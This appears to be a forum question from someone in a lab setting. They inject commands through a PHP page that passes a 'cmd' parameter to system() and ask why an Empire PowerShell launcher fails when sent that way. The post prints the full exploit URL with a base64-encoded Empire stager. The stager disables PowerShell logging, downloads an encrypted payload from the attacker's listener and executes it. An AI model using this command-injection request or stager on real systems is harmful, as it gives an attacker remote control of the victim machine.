I created a parameter passing through system()
i.e. cmd. Now I run Empire tool with http listener and launch powershell launcher. Got the huge bunch of base64 encode string.
Now I pass this string to the parameter cmd
, which was passing through the system()
, I thought I would get an agent in empire but instead I saw an error in the web page:
<html>
<center><h1>Hack Me Please </h1>
<h3>Demo</h3>
</center>
//ERROR STARTING FROM HERE
Cannot process the command because the value specified with -EncodedCommand is not properly encoded. The value must be Base64 encoded.
PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
[-NoLogo] [-NoExit] [-Sta] [-NoProfile] [-NonInteractive]
[-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
[-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
[-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
... <snipped> ...
As I can read that some escaping is going in base64 string but I don't know why? But I tried to pass that string directly to system(base64)
and I can successfully get the agent in Empire but why can't get it through that way?
I did same thing with curl
. And the result was the same.
Any suggestion would help me in this.
Here is the Base64 payload:
http://192.168.0.5:9999/exploitme.php?cmd=powershell%20-noP%20-sta%20-w%201%20-enc%20SQBGACgAJABQAFMAVgBlAFIAcwBpAE8AbgBUAEEAQgBsAEUALgBQAFMAVgBlAFIAcwBJAG8AbgAuAE0AQQBqAG8AcgAgAC0ARwBFACAAMwApAHsAJABHAFAARgA9AFsAcgBFAEYAXQAuAEEAUwBzAEUAbQBCAGwAWQAuAEcAZQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAGkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAD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FUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADEAOgA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAFcAQwAuAEgARQBBAEQARQBSAFMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAcwBlAHMAcwBpAG8AbgA9AFcATQBkACsAdwBNAHYAdABiAEMAUgBwAFoAZgBPAHIANwAwAEwASAA4AFoAMABzAFYAWQBjAD0AIgApADsAJABEAGEAVABBAD0AJABXAEMALgBEAE8AdwBuAEwAbwBBAEQARABhAHQAYQAoACQAcwBlAFIAKwAkAFQAKQA7ACQAaQBWAD0AJABkAGEAdABhAFsAMAAuAC4AMwBdADsAJABEAGEAdABhAD0AJABkAGEAdABBAFsANAAuAC4AJABkAGEAVABBAC4AbABFAE4AZwBUAGgAXQA7AC0AagBvAEkAbgBbAEMAaABBAFIAWwBdAF0AKAAmACAAJABSACAAJABEAEEAVABhACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
This is the exact payload that is sent to the server.